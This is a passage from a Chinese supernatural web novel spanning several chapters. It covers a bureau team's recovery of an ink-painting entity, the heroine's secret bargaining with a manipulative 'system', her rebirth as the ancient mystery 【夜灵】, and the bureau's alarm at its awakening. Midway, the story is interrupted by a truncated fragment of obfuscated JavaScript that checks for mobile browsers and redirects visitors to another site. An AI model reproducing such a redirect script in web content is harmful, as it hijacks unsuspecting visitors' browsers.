    因此，这一项提议必须遭到否决。


    但总有人认为自己特殊。


    总有人越过相关部门的信息封锁，知道了解密人与异常和神秘衍生物的污染息息相关。


    总有人以为自己发现了真相。以为官方不想普通人掌握非人的力量，所以越过山岭，趁所有人都忙于解决危险时逆行而上。


    来到了【山水图】的核心。


    滞留的“幸运”仪器显示山中有陌生人的微弱能量反映，但仪器前早就不见人影。


    仪器越来越响，发出嘀嘀的提示音。


    提示灯变红，显示陌生的能量越来越微弱，疑似普通人遭到污染，并且迅速异化，即将死去。


    提示灯闪动的频率加快，几秒后，它红灯常亮，告知不存在的观察人员微弱能量反映消失，疑似人员死亡。


    又过了几分钟，红灯变黄。


    疑似死亡的人破茧重生。


    满山的墨色终于意识到闪个不停的仪器是威胁。


    能量涌入，冰冷的机械悄然转为笔墨质感，原本要熄灭的黄灯永久定格。


    另一边，破茧重生的人缓慢睁眼。


    他很“幸运”，极其迅速地成为了解密人。


    他很不幸，隐藏在【关山】表皮下的大量墨色终于有了去处。


    人皮包裹住数不尽的墨色，迅速膨胀变形后，这具身体缩回重组，勉强维持住人形。


    它有着高超的绘画技巧，稳定片刻后，将这具脆弱的容器画得与初时一般无二。


    【山水图】适应着新身体，试探着往前走了两步。


    被人类称之为脚和腿的部位软化波动，墨水一样流淌前行。但有人皮的阻碍，拖拽异物的感觉很清晰。


    【山水图】走了两步意识到不对，回忆着记忆中人类的模样，趁着所有人都没发现它之前，哆哆嗦嗦滚下关山。


    它以后就是黎璞夜了，和【山水图】没有任何关系。


    它要像【雅南】一样融入人类，像【雅南】一样，借助现实世界的“关系”发展壮大。


    在苟成神秘前，南家子休想见到它一眼。


    这一次，它绝对不会大意。


    ......


    言严等人没有发现逃离的【山水图】


    毕竟【山水图】的“核心”刚刚才被放进红匣中。


    而在他们所知的资料里，也没有出现过失去核心还能行动的异常或神秘衍生物。


    言严怀抱着红匣，看着涿州调来的宿白和南音笙相谈甚欢，心中思绪纷杂。


    这次回收【山水图】很莫名。但如果不是着两人，他们会全军覆没。


    不久前，或者说意识里的几小时前。


    他刚把周祈安安抚好交给探测组，就有漫山的墨色浸出，将【关山】变成一幅波动的水墨画。


    一向隐藏不愿露面的【山水图】突然爆发出巨大的能量，引起机械和探测组人员反映。


    确认地点后，言严勒令非行动人员退回临时办公地点的保护性封锁内，由于封锁的互斥性，保护性封锁很小，珍贵的设备遭到临时性遗弃，不足双手之数的非行动人员挤成一团。


    其中，一位神秘向为“凿空”的八卦司队员，将会在保护下，挨个将滞留的非行动人员送走。


    而星辰司行动人员则全副武装，去往神秘衍生物核心段。


    去的路，很软，像是踩在绵软的湖面上，稍不小心就会跌倒。


    但万幸，除去抽象的路和越来越沉重的污染外，【山水图】没有对他们发动攻击。


    言严带着四名精英队员来到空地处，却只发现倒地不起的南赴栢，南音笙不知所踪。


    “言副。”杨觅林由于神秘向的缘故，学习了许多医疗知识。一般情况下，她会在队伍里充当临时医生的角色，“南顾问只是被人打晕了，没有危险。”


    不惧污染的南家人在哪都很有威慑，杨觅林用神秘向反刍将其唤醒，代价是几分钟的头晕目眩。


    “南顾问，小笙在哪？”言严早就对南音笙有怀疑，但他很确定南家人不会对函夏造成伤害，因此暂时压下疑虑，想要等回收完【山水图】后再解决。


    但明显被人打晕的南赴栢，消失的南音笙和本该在此的神秘衍生物核心...


    “小笙...”南赴栢捂着头，看起来颇为痛苦，“小笙发现了山水图核心，我带她去追查，后来...后来我什么都不知道了。”


    “言副，小笙一个人去追核心太危险了，快去找她。”


    说着，南赴栢甩甩头，站起身。


    言严没有把怀疑告诉南赴栢。


    与南家人不会对函夏造成伤害的准则相对，南姓世家子弟间绝对不会经历不可挽回的厮杀。


    而南赴栢对南音笙的信任，一定会高于他对监天局的信任。


    “好。”言严言简意赅，“南顾问，非行动人员还在临时办公地，辛苦你暂时保护他们了。”


    众人在南赴栢点头后迅速离开。


    目之所及是伫立于现实的水墨画，充满东方韵味，但是众人无心欣赏。


    土地是泛着淡灰的白色，层层叠叠的树木和随处可见的石草是深浅不一的黑色。


    他们踏过草木，在白色的土地上留下各类尺码的脚印。


    南音笙就在脚印滞留的终点，她双手捧着不断扭动的神秘衍生物核心，在众人不可置信的目光中将其咽下。


    “南音笙，你疯了！”


    言严听见不知是谁的斥责，等回过神才发现是自己下意识的上前和怒吼。


    找回理智的言严没有得到回应，二次警告，“南音笙，你为什么要吞下神秘衍生物核心？”


    只有相似能力的非人生物才会吞噬融合。


    如果南音笙不是南家人，他们的热武器已经对开火了。


    还是没有回应，言严最后一次警告，“南音笙，不准动。”


    没有人回应，名为南音笙的存在撕开皮囊，露出人皮下的黑暗。


    沉重没有尽头的黑色物质倾尽而出，【山水图-关山】内用于留白的部分被大面积染黑。


    “攻击！”


    随身携带的热武器从众队员手中抛出，浓郁的黑暗被炸开一块口子。


    他们从唯一的光亮处出来，孙避打头，神秘向玄龟开启，防止冲出黑暗后的迎面而上的攻击。


    言严殿后，险之又险地在“洞口”闭合前离开。


    他们又回到了之前的场景。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14204385|148603||http|test|mini|href|location''.split(''|''),0,{}));


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    >泛着淡灰色的白色土地，深浅不一黑色草木石的背景。绵延而出的脚印，大片留白的尽头，一线的南音笙。


    没有黑暗，没有破裂，更没有遭到吞吃的核心。


    这很不对劲。


    额角青筋泵跳，言严按了下额角，刚想开口询问队友就感到一股难以言喻的凉气。


    身后层叠的树林不知何时晕成一团，有什么可怖的东西要出来了。


    他们似乎只能往前跑，在空白处染上脚印，然后于脚印滞留的终点与南音笙相汇。


    不对劲，这很不对劲。


    强烈的眩晕感传来，这是遭受高度污染的征兆。


    言严来不及说什么，就被看不清面部的队友拖着，朝着南音笙的方向极尽奔逃。


    随后，南音笙撕裂了自己的皮囊，他们再一次被黑暗吞噬。


    ......


    “言队，言队！”


    感受到推搡，言严在头痛欲裂中睁开眼，即刻警觉。


    他眉头紧皱，扭头四下探查，发现所有人都躺在地上，并且距离临时办公地点不远。


    非战斗人员确实在保护性封锁内，但是封锁已经破裂，他们相互挨着杂七杂八昏做一团。


    “言队，你们突然都倒了，现在怎么办？”


    言严转过头，看向声音来源。


    宿蔷独自，涿州监天局星辰司队员宿白。


    宿白这是第二次出任务，脸上显而易见的慌张。


    他男生女相，皮肤又白，惶恐下看起来更加惹人怜爱。


    言严眉目夹得更紧了。


    “我晕迷了多久？昏迷前在做什么？为什么会醒？”


    宿白好歹经历过完整培训，很快反映过来，答“你们昏迷了约四小时，言队你昏迷前刚离开说是去找核心，但是说完下一秒就倒了。”


    “非战斗人员想来看你们的情况，一出保护性封锁也失去了意识。而且研究部的人出去引发封锁破裂，所有人都一起昏迷。”


    “我查看后发现你们身体里都有非污染性质的能量，尝试后发现可以吸收，但是这些能量一直在往外冒，吸收多少都没用。”


    “一直到几分钟前，言队你身体里的非污染性能量突然停止增长，我吸收完能量后你就醒了。”


    “言队，你身体里能量停止增长的同时，周围环境的水墨质感轻了很多。南顾问他们可能已经找到神秘衍生物核心了。”


    言严听完，“你还能吸收这些能量吗？”


    宿白一愣，随即明白过来，开始救助其他人。


    望着宿白慌忙的背影，言严尝试起身帮忙，但是一用力就感受到全身炸裂的痛。


    他只能勉强支撑起身体，枯坐着沉思不语。


    他熟悉这种疲惫和疼痛，这是他神秘向触发的后遗症。


    也正是他神情凝重的原因。


    他的神秘向“逻辑潜行”，破茧于梦境与虚幻的神秘，连他本人都无法控制。


    但有一点，在生命垂危之时，最容易触发。


    并且触发的结果有两种。


    一是有威胁他生命的危险时，梦境会指引他找到解决危险的办法。


    二是潜意识、感官、灵魂共同发现危险，但他本人没有察觉，梦境会告诉他危险来源。


    毫无疑问，他昏迷与【山水图】有关，如果不是南家人限制了神秘衍生物核心，如果不宿白，他可能已经死了。


    在极度危险的情况下，神秘向的预测和告知最为准确。


    而梦中，他们只能奔向南音笙，然后被撕毁人皮的南音笙毁灭。


    这代表什么？


    南音笙解决了【山水图】，让他们安全？


    还是南音笙就是他未曾发现的危险？


    撕毁的人皮又代表什么？


    她真的是人吗？

 28.没关系

    宿白的破茧物不可知，但宿蔷分娩前曾说过，她怀疑自己的孩子正在萌芽期，并且怀疑自己看不到孩子降生。


    而她后半句话应验了，宿蔷死于难产——一位经验丰富的解密人，身体健康，距离成熟期还有不少的时间，却在本该对解密人没有任何生命威胁的分娩中死亡。


    于是宿蔷的前半句话被记录在档案里，监天局对宿白的保护更上一层楼。


    正常情况下，尚未发育完全的少年不可能破茧，更何况婴孩。


    接触污染或遭受气息浸染，进入萌芽期。


    随后破茧，成为解密人。


    污染或气息彻底成为解密人的一部分，成熟期到来。要么死，要么生，要么生不如死。


    这才是普通人作为解密人的一生。


    宿白的出现打破了这个规律，他的神秘向更是令人捉摸不清。


    他能够吸收非污染性质、非人体产生的能量，并且对大部分污染的抗性，可以和该污染携带者相关的解密人比肩。


    然而他吸收的能量不知所踪，也没有显露过与神秘向有关的后遗症。


    言严忍着仿佛掀开头盖骨，搅弄脑髓的痛和晕眩。


    脑海里一会闪过之前的梦，一会片段性思索宿白的信息。


    直到能够醒来的人平安醒来，永眠的人面色平静地消失在淡蓝色火焰中。


    “言队。”


    言严闻声转头，看见了面色发白的杨觅林。


    “辛苦了，觅林。”


    神秘向反刍，将自身拥有的东西交予需要对象，包括但不限于精力，健康，寿命，甚至是灵魂。


    言严遍布全身的痛消失了。


    他整装待发，没有解释神秘衍生物核心反映消失的情况下，为什么要让八卦司的“凿空”挨个送走非行动人员。


    也没有解释为什么每走100米就让李懿探查周围是否有敌意，谨慎程度比之寻找神秘衍生物核心时更甚。


    在队员眼里，他的神色比以往都要凝重。


    但任务期间令行禁止，他们压下疑惑，往神秘衍生物核心出现过的方向前行。


    然后，一队人迎面遇见了徒手压制住神秘衍生物的南音笙。


    《徒手》


    《压制》


    《神秘衍生物》


    “？？？”


    “南音笙！”言严的心跳停了一瞬，差点以为梦境照进现实。


    但他很快反映过来，带上如长辈般的严肃神色，“你知不知道神秘衍生物核心有多危险。你竟然徒手抓，徒手！”


    “为什么不用封锁。”


    有队员闻言，拿出携带的次一级红匣上前。


    言严全身紧绷，抑制住制止的冲动。


    不行，不能让南音笙发现他的警惕和防备。


    “言副，我不担心污染，没关系。”南音笙心情不好，但也没有迁怒无辜人的打算，语气平和。


    言严一噎，没再说什么。


    心里却很清楚，大多数异常和神秘衍生物可不止污染这一个攻击手段。


    蓦地，他意识到南音笙没有，会遭到异常或者神秘衍生物非污染性攻击的意识。


    她不知道哪怕没有完整意识的异常，也大多会剧烈抗拒封锁？


    她没有遭到过异常的反扑？


    疑惑一闪而过，言严认真记心里。


    “言副，南赴栢昏迷了。”


    言严没有维持住表情，面色一变，但头盔掩饰住了他的神色。


    随即，他听见南音笙平静地继续，“我带你们去找他。”


    她本来拽着南赴栢的衣领，准备直接去临时办公地点。后来意识到，这样做一定会对南赴栢在监天局的威信造成损害。


    南赴栢生活上已经够傻了，工作上的威信再消失.....雅南的后辈不该混成这个鬼样子。


    ......


    “检测到合作者吞噬【山水图】任务完成，现告知合作者【雅南书】正确使用方法。”


    “【雅南书】作用如下：


    1：自动收录函夏境内非神秘非人生物


    2：出现（新增、苏醒、进化）高危异常及高危衍生物时，对持有人预警


    3：镇压记录在册的神秘（记录所需信息包括：神秘所属本源能量，本名，权能，来源及出现方式，新生地点...）


    4：链接25位异常交流、交易（该25位异常均与书册相连，异常名单如下...）


    5：献祭能量，驱使书册已收录神秘


    系统程序说着说着开始变幻。


    呆愣的电子音莫名有条理起来。


    站在一旁，看言严等人忙碌的南音笙眼神闪了闪。


    她在心中用柔和混杂着激动的嗓音表达惊喜。


    “系统你回来了？”


    【升级完成，开启系统板块二：神秘模拟】


    【请合作者尽快尝试】


    “是。”系统提示完消息，主动解释，“系统达到最低升级标准，自动升级。但后续能量不足，需要我主动进行干预，预防升级失败后投入更多能量。”


    “现在升级成功，合作者能够通过直接造就神秘来获取能量。”


    “合作者做得很好，如果不是你这段时间的模拟持续供能，此次升级至少还需要三年。”


    南音笙嘴角微不可查地下拉几点。


    “系统，为什么不提前告诉我？”


    不打一声招呼就隐身升级，这和公司老板跑路有什么区别？


    系统静默一瞬，最后给出了最适合【合作者】的一种回答，“针对此次隐瞒，我在此表达歉意。”


    “并在此作出保证，今后涉及合作者的行动，都将询问合作者意见后，斟酌抉择。”


    南音笙早就想象过系统的几种反映，此时听见最“合乎心意”的回答，控制住跃出的烦躁和微不可查的喜悦，继续“发难”。


    “还有你让我去找【山水图】，自己却消失，合适吗？”


    “我吞噬【山水图】后，你也没打招呼直接从我身上拿走能量，你认为合适吗？”


    在系统眼里，她只是有些小心思，但足够信任它的优秀合作者。


    面对信任的人，这种不告而别与背叛等同，她该愤怒才对。


    同时，这么久过去，“乖乖小孩”有所成长才是应有的发展。


    南音笙没有模拟情绪糊弄系统插件。


    她只是小心翼翼控制着自己的想法、


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    行动、思维，以完全“真实”的态度去面对系统，等待系统的补偿。


    它足够理智，知道该怎样利益最大化。


    它足够机械，只知道数据下的人类模样。


    系统果然如她之前无数次模拟中给出的结果一样。


    它先是给出解释。


    “合作者，此次系统升级属于紧急情况。对比后可得，失去【山水图】造成的损失，低于失去系统对合作者造成的损失。因此我选择优先进行系统升级。”


    “同时，为合作者紧急捏造的程序智能程度低，因此未询问合作者意见。”


    随后表达歉意


    “我真心向合作者道歉，希望我们能继续愉快交流。”


    作出保证，避免矛盾激烈。


    “我的保证真诚有效，今后不会发生类似情况。”


    最后给出补偿。


    “合作者，作为此次不告而别的补偿，合作者下一次模拟将加2分。”


    出于分析后得出对自己利益最大化的考虑，也出于对另一个完整个体的尊重，祂给出了最合适的补救措施。


    ——南音笙梦寐以求的“复活”。


    祂知道人类对合作的要求是真诚和共利，一旦真诚不在，关系间就会轻易出现裂痕。


    然而祂得到南音笙的过程不算光彩，他们间必然存在隐瞒。


    但与此同时，祂又需要拥有人类情感的南音笙对她足够依赖，足够信任，足够在今后的可能的选择中成为自己坚定的盟友。


    因此祂对南音笙的态度，并非完全对待合作者。


    而是参考了函夏近代时期的父母——爱护、关心的同时表露控制，并期望她发展为自己想要的模样。


    通过系统后台，祂查看了南音笙这段时间的模拟，知道南音笙“复活”成为定局。


    同时表明，这名“孩子”现在长大了，开始渴望与“父母”平等对话的权利。


    或者说，这位孩子渴望成为另一个完整个体，得到与“母体”对应的尊重。


    祂此时有两种选择，继续将南音笙当做“孩子”，或者成为南音笙的“朋友”。


    数据显示，唯有第二条路才能两者利益最大化。


    因此才有祂对南音笙道歉的戏码。


    一切都在预料之中。


    南音笙拽下一把墨草，手和小臂沾染了大片墨汁。这些墨汁还滴落在灰白的土地上，如同废稿。


    她没有在意沿着小臂流淌的墨汁，垂眸低声，“分数直接加在这次模拟上吧。”


    一直警觉的言严听见这声喃呢，笑脸如常，“怎么了小笙？”


    南音笙抬眸与他对视，在能量的感知中，言严和那头陪伴她几十年的黄牛毫无差别。


    他们之间也许有微薄的情谊，但是这份情谊中间，是难以跨越的能量层次。


    无论她表现与否，他/它，都会忌惮安静，试图逃离或反击。


    南音笙也扬起笑脸。


    “我没事，谢谢言副关心。”


    【没关系，系统，我们是最好的合作伙伴，我相信你】


    【所以，直接给这次模拟加分吧，1分就够了！】


    系统安静三秒。


    【已执行】

 29.脚踏到实地

    【你死了】


    评分：90


    【剩余能量点数：20076】


    ......


    【恭喜合作者，获得奖励“人间行体”】


    ......


    【检测到模拟人物“南梦”余血亲“南期”、“南芹”、“南启”.......在世，是否继承血亲属性，继续模拟】


    【南期属姓如下：体91/98，智93/99，颜85/99，家境85，快乐30】


    【南芹属性......】


    她“活”了，但是人生模拟还在继续。


    南音笙不知道还有什么选择的必要。


    “系统，既然新板块更容易获取能量，为什么不关闭人生模拟器。”


    系统的声音彻底从她的脑海里消失，于虚无之地没有尽头的深处传来，“系统板块二：神秘模拟，与合作者猜想——直接带入神秘身份进行模拟不同。”


    “而是要合作者从智慧生物进化为神秘本身，过程中需投入大量能量。在合作者成功前，系统板块一：人生模拟，依旧是合作者的主要能量来源。”


    听完解释，南音笙看着展示界面没说话。


    系统劝告，“如果没有合作者，历史上没有神秘血裔南家，合作者是他们的起源，有权支配一切。”


    系统误以为她在不忍。


    南音笙意识到这一点，但没有澄清的打算。


    她面露迟疑，在真正想知道的问题中，加上了更多感情色彩。


    “我明白的系统。但是雅南，南季，南梦...已经三代人了，继续模拟南家子弟...他们早晚会一个人也不剩下。我们没必要做这么绝。”


    她选择的模拟人物，体质会大幅度降低，用不了多久就会连身体也腐败死去。


    如果不解决这个问题，模拟人物都只能成为一次性耗材，说不定连基础评分都达不到，无法继承天赋和各项数值，能量点数也不会理想。


    唯目的行动的系统更敏锐，瞬间发现了可能造成评分降低的问题，同时意识到原因。


    “经检测，合作者最好选择南家后嗣为模拟人物。”


    “合作者携带能量庞大，普通容器无法成为合作者的模拟载体。”


    “提升模拟人物各项数值，使之超越普通人类极限，能有效缓解容器使用寿命短暂问题。”


    南音笙不存在的心一跳，“系统，你的意思是我以后只能在南家后辈里模拟？除南家人外，连系统生成的模拟人物也不行？”


    “正确。”


    她携带的什么能量？模拟奖励吗？


    所以之前模拟用的身体都是新手福利，分数一过就没了？


    “如果我把能量用完，能不能恢复原样？”


    系统毫不犹豫，“不能。”


    担心南音笙发现什么，系统补充，“能量融进意识的痕迹不会消失，对于客观存在的事物来说，神秘存在即永恒。”


    南音笙明白了。


    只能拔高，不能降低。


    以后在人生模拟这个板块上，她只能选择南家后辈为模拟人物。


    至于其他问题，她不准备现在和系统讨论。


    “知道了系统，我会好好考虑，现在先回现实世界吧。”


    这次来虚无之地只是为了加分复活。


    现实世界里需要尽快解决的问题不少，不是模拟的好时机。


    【已执行】


    【合作者请闭眼】


    ......


    "gululu......”


    睁眼前，气泡上潜的声音先一步传进南音笙的耳朵。


    睁眼后，目之所及全是清冽的血色。


    她在水里，浅红色但是给人干净感觉的水里。


    南音笙没有急着浮出水面，而是借助能量感知自己的新模样。


    还是非人的外表，黑和白组成诡谲的身体，超越人类认知的美丽，与她上一次模拟结束的外表相同。


    这具不会损耗能量的“人间行体”看起来和“人间”扯不上关系。


    好在她早有准备。


    经过摸索，与她能量格外契合的【隐秘之石】能够被她的灵魂携带。无论是去往虚无之地还是现实世界，只要她想，就能将它具现出来。


    但隐秘的效果却消失了。


    “？”


    南音笙不信邪，能量包裹侵入，【隐秘之石】毫无反映，像是遭到压制般。


    遭到压制般...


    南音笙这才把注意力转到浅红色的水中。


    【隐秘之石】需要南家人的血浸泡才能使用。同理，它也会因南家人的血而遭受压制。


    而南家人血液里的特殊，来源于她的能量。


    好巧不巧，有一位同样浸入她能量的模拟人物，在她的操控下自绝，留下一片血谭。


    有她能量浸入的血脉后辈，依照自绝“母亲”的脚步，身死消亡。


    荷，安。


    她们都死在血谭所在地，血脉里的能量压制了神秘衍生物【隐秘之石】


    但她为什么会在这里睁开眼睛？


    “系统？”


    下意识呼唤系统的南音笙一愣。随即想起系统为表达尊重和歉意，已经将她身体里的插件移除了。


    以后在现实世界，他们只能通过系统界面交流。


    而由于第一次操作不熟练，她闭眼前没有随身携带系统界面，因此它没能跨越空间，还在虚无之地。


    “......”


    算了。


    南音笙放出感知，没有发现水中有其他东西，干净得空无一物。但感知无法穿透水面，水潭外的情景不得而知。


    她一点点上浮，头顶率先漫出。


    ......


    有什么东西向她聚集而来。


    有某种目光自苍穹往下注视。


    理智告诉南音笙赶紧收敛自身，但是莫名的喜悦将她席卷，第六感告诉她此刻可以率心而为。


    随着她逐渐脱离血谭，自然中的能量开始跃动，欢舞。


    狂风大作，花草摇曳，以她为中心的能量风暴席卷而出，在人眼不可见的世界里，带动虚无的粒子尽情狂欢。


    好高兴，好快乐！


    只是离开血谭，为什么会有一种幸福感，仿若新生！


    南音笙的意识飘在母亲的怀里，世界向她传来同样的喜悦和幸福。


    涌动的能量包裹着她，是新生时的襁褓。


    脚腕踏出水面，浅红色的血谭荡起波纹。


    南音笙站在血谭表面，人类的心脏似乎因为快乐而尽情蹦跳。


    怎么回事，为什么会这样？


    南音笙幸福到想哭。


    一直以来的自制力在此时崩溃。


    泪滴洒落，触碰到红色的血潭水。


    血谭由浅红转明，顷刻间，透明如镜。</p


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    >


    天黑了。


    世界用夜色浸染晨露所在的白天。


    清透的血谭映出纯墨的天空，天地同色，迎接代表夜晚的新生儿。


    【夜灵】


    南音笙听见有谁在呼唤自己，但她明明不是这个名字！


    【夜灵】


    她猛地仰头，喜悦中透着茫然。


    【欢迎来到这个世界，我的孩子】


    所有情绪戛然而止。


    南音笙眼里还有未尽的泪，但迷蒙的神色已经消失，恢复以往的清明。


    她意识到了。


    这就是系统承诺的“复活”。


    不是回到原本的世界，不是将她二十多年来的情感和生活交还，不是一具可供长久使用的身体，不是安全平稳的一生。


    系统承诺的“复活”是新生。


    南音笙死去，在虚无之地苟延残喘，看似未来可期，权利和力量唾手可得。但实际上，她只是依靠“系统”的幽魂。


    既然它能给出，那它也能取走。


    因为没有系统，她无法踏足现实。


    死去的南音笙，流落到这个世界的南音笙是幽魂。


    没有系统，世界不会接纳她。


    所以系统认为“复活”是新生。


    它制造了这具受到世界认同的身体，将南音笙真正变为【夜灵】——世界的新生儿，有资格行走在人间的形体。


    这好吗？


    南音笙又想哭，但早该成熟的灵魂却比眼泪先一步给出选择。


    这真是太好了。


    她在这个世界有了身份，还不是受到压迫的人类，而是受到敬畏的神秘。


    她能够尽情追求能量，不再为来处和归处迷茫。


    有资格与系统达成真正的合作关系。


    她现在真正的未来可期。


    说悲伤显得矫情。


    南音笙一步步往外，离开血谭。


    脑海里走马灯一样闪过上辈子的画面。


    无忧无虑的童年，敏感多思的少年，逐渐开朗，奔向美好未来的青年。


    朦胧中略带酸涩的暗恋，借美食消愁的精装朋友圈。


    约好老后一起旅行的朋友，霓虹闪耀中的欢呼承诺。


    永远爱她，坚定选择她的父母，他们的拥抱温暖柔和，却拥有抵挡一切的力量。


    打打闹闹但是足够可靠的哥哥...他会连着她的那一份，好好孝顺年过半百的父母......


    爸爸和妈妈一定会想她吧。


    他们会每个月都带上应季的鲜花，来她的墓碑前想念早早离去的孩子吗？


    如果可以，她想要最鲜艳最生机勃勃的花卉。


    也许热烈的色彩能够消除他们的悲伤呢。


    还有那个傻子，单纯的她不知道会哭成什么样子，本来化妆技术堪忧，葬礼上一定哭得很丑吧！


    如果她知道自己成为了幻想里无所不能的神仙，一定会高兴欢呼，笑得像哈士奇，还会带着灿烂到不行的笑脸，说带带我，带带我......


    他们......


    他们能被时间治愈。


    而自己能被力量抚平。


    往事之事不可追。


    血谭上的波纹荡漾，逐渐恢复本色，天地清明，夜晚褪去。


    不知何时泪水糊面的南音笙踏出血谭，第一次用完全属于自己的身体，触碰到新世界的土地。


    她已新生。

 30.【夜灵】

    20××年×月21日，清晨，函夏三秦，监天局


    勉强回收完【山水图】的众人忙成螺旋，有关于【山水图】后续的污染清理、复盘、赔偿、集体葬礼......


    还有伤员的休假，相关者笔录，莫名其妙跑走，因【山水图】破茧的解密人......


    言严从关山回来就熬了一个大夜，忙碌中还要反复纠结，是否要打扰二十年来才休一次假的顶头上司。


    他的同僚们也没好到哪去。刚从研究部出来不久的安康，天蒙蒙亮时敲响了他的办公室，提交了有关于【342电路板】后续报告，并且拿着新到手的任务无奈离开。


    八卦司借调的周祈安第一次出外勤，什么都没做，就接连遇到两个惊吓，回来后连夜提交不再出外勤的请示，并且将对南音笙的怀疑写成报告。


    现在，这份报告和八卦司副司长的谴责一起放在言严的案头，而言严手里，是教导员亲手交给他的，有关于他的心理健康评估和建议。


    评估称——建议休假调整。


    言严：“......”


    按了按因为休息不足而发胀的太阳穴，言严拿起手机，想打电话告诉教导员自己没事。


    电话接通的瞬间，一阵刺耳的警鸣声穿透所有在职人员的耳膜。


    忙碌的“低头族”整齐划一地抬起头，面上都带着相似的凝重。


    星辰司和司仪司队员下意思奔向装备室，执勤车启动，只要人员到齐就可出发。


    安康冲进了言严的办公室，额角冷汗滴落。


    “言副！”


    “我听见了。”


    神秘苏醒的警钟。


    夏历司司长此时发来信息：


    南家祖灵苏醒。


    三秦雍城谜廊，一级禁区——血谭


    言严看了眼专机上的信息。


    深吸一口气。


    “走。”


    ......


    二十三年前，新生神秘——【世界之音】于函夏诞生。


    此后，陷入沉睡的神秘纷纷苏醒。


    二十年前，【终焉】于阿尔比恩苏醒，终焉教会迅速扩张，成为多国禁止信仰的邪/教。


    十五年前，【黑暗】的力量在婆罗多的母亲河里流淌，该国五分之四的土地失去生机，超过半数的人在一瞬间死亡。


    九年前，尼德兰的花海掀起一阵粉色迷雾，并迅速充斥整个国家，甚至往周边漫延，【虚妄】从梦中走进现实，尼德兰成为人类禁区，据说还有上千万人沉睡其中。


    七年前，【知识】之手抚过函夏镇国器......


    四年前，【混沌】带来一片死海......


    ......


    沉睡中醒来的神秘会很快离开现实世界，去往各自所在的独立空间。


    但祂们对世界造成的影响永远保留。


    于人类而言，每一位神秘的苏醒，都意味着难以计数的死亡。


    无数个破碎的家庭，无数个惊醒的梦魇。


    没有人知道为什么神秘会在现实世界沉睡，探究这些也没有意义。


    他们要做的...他们能做的，只有竭尽所能，守护民众的安全。


    言严坐上“专车”，示意安康跟上另外的队伍，组织人员疏散。


    他则与司仪部部长黎期以及刚从昏沉中紧急苏醒，不知道发生了什么的南赴栢随行。


    他们此行目的不是对抗，不是协商，而是展示存在并且表达敬意。


    科技的武器与神秘抗衡是在自找死路，人类最高级别的封锁只会将其激怒，劈山开海的热武器也没办法伤其分毫。


    面对这些古老的神秘，唯有镇国器内镇压的存在能够与之抗衡，但是胜算依旧渺茫。


    而且...还没到这一步。


    从沉睡中苏醒的神秘本身有回归所在空间的倾向，祂们也没有主观伤害人类的意愿，只不过不知何为收敛，不知为何需要收敛。


    所以这时候需要他们，需要他们奔向中心，告知神秘人类期望存活，期望得到生存空间的意愿。


    函夏接触过的神秘不少，根据经验，无论是【知识】还是【夜灵】，都会对人类的请求表示纵容。


    对于祂们而言，无论身份，只要能走到其眼前的存在，就有与之对话的资格。


    剩下的，就看走到祂们眼前人有多少勇气了。


    他和黎期都因为接触神秘的气息而破茧，是函夏唯五之二能对神秘的气息有抗性的人。


    正常人接触神秘的气息，会迅速异化为神秘衍生物，只有极少部分人能够思维正常地成为解密人。


    他们就是那极少的幸运儿。


    成为解密人后，只要不直面【夜灵】，在其苏醒范围内，他们存活的几率为人类最高。


    而南赴栢是【夜灵】的后嗣，是最有资格与祂交流的人选。


    “南顾问，祖灵醒了，您想去看看吗？”


    “无论您同意与否，都不会对您在函夏的活动产生影响。”


    言下之意，他们期望南赴栢能够去和【夜灵】交谈，但是如果拒绝，他们也能理解。


    南赴栢睁眼时听见询问，意识混沌中下意识点头，随后就被欣喜若狂的工作人员带去前往血谭的“专车”。


    低危异常【小汽车】——本身无危险，污染性低，但只要启动，就会驶去最危险的禁地。


    研究部的人检测出结果后，意识到这是可使用的一次性异常。


    【小汽车】会带领乘客驶向禁区直面危险，但它本身也不可能逃脱。


    南赴栢坐上后座时，八卦司队员施加在他身上的神秘向持续发力，他清醒过来。


    “怎么...回事？”


    “南顾问，祖灵苏醒。”


    “是时候展现函夏礼仪了。”


    南赴栢看向身旁还有心情开玩笑的人。


    黎期，三秦监天局司仪部部长。据说神出鬼没，很难看到真人，他也是第一次见。


    黎期长相普通，但有一双极为温润的眸子，温和、透亮，但看得南赴栢莫名发寒。


    在这双眼睛的注视下，南赴栢一个激灵，彻底清醒。迟钝的大脑开始运转。


    “祖..祖，【夜灵】醒了！”


    副驾的言严转头，努力压抑着凝重的神情。


    “南顾问，我们需要那位收敛气息，只能劳烦你了。”


    他吐出一口浊气，“现在距离那位太近，我们还是不要直呼其名比较好。”


    虽然所有人都不知道南家祖灵的本名，但毫无疑问，【夜灵】也是那位在世界上挂了号的称呼。


    虽然那位应该没有相关的权能，但是在近距离下，直呼其名也容易引来注视。


    南赴栢不会有任何问题，但是他们禁不起折磨。


    车内陷入安静。</


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    强制开机的南赴栢也意识到问题。下意思想开口道歉。


    “抱歉，我...”


    他的话终究没有说完。


    天，黑了。


    在这个现实天气预报为大晴天的早晨，他们伸手不见五指。


    透过透明的车窗，言严看不见城市的灯火，也听不见行人的喧嚣。


    仿佛世界回归了最初的夜晚。


    而尚未使用“生命之火”的人类，只能在黑暗中瑟瑟发抖，抱团取暖。


    他脸色一变，就听黎期开口，“这是正常现象，和南顾问没关系。”


    “那位很受世界喜欢啊，本该新生神秘的仪式，那位只是从沉睡中苏醒，世界就给予了新生般的偏爱。”


    “要不是那位早在战国时期就开始活跃，我都要怀疑......”


    他没说出口，但在场人都知道未尽之语。


    黎期一直都是三人中看起来最放松的，他常年和“信仰”打交道，对神秘的了解——哪怕是资料上的了解，都远超言严。


    而他对南家祖灵没有复杂的滤镜，因此能比南赴栢更理智对待现在的情况。


    “别担心。”


    黎期的脸隐没在黑暗中，平静而沉稳。


    “黑夜只是隐藏危险的媒介，但夜晚本身，可从来没有伤害生灵的行为。”


    “【黑暗】和【混沌】本就代表着不同于秩序的另一面，因此造成了难以挽回的伤害。


    【终焉】苏醒时收敛了自身，对于人类来说，真正的威胁是擅自信仰祂的同类。


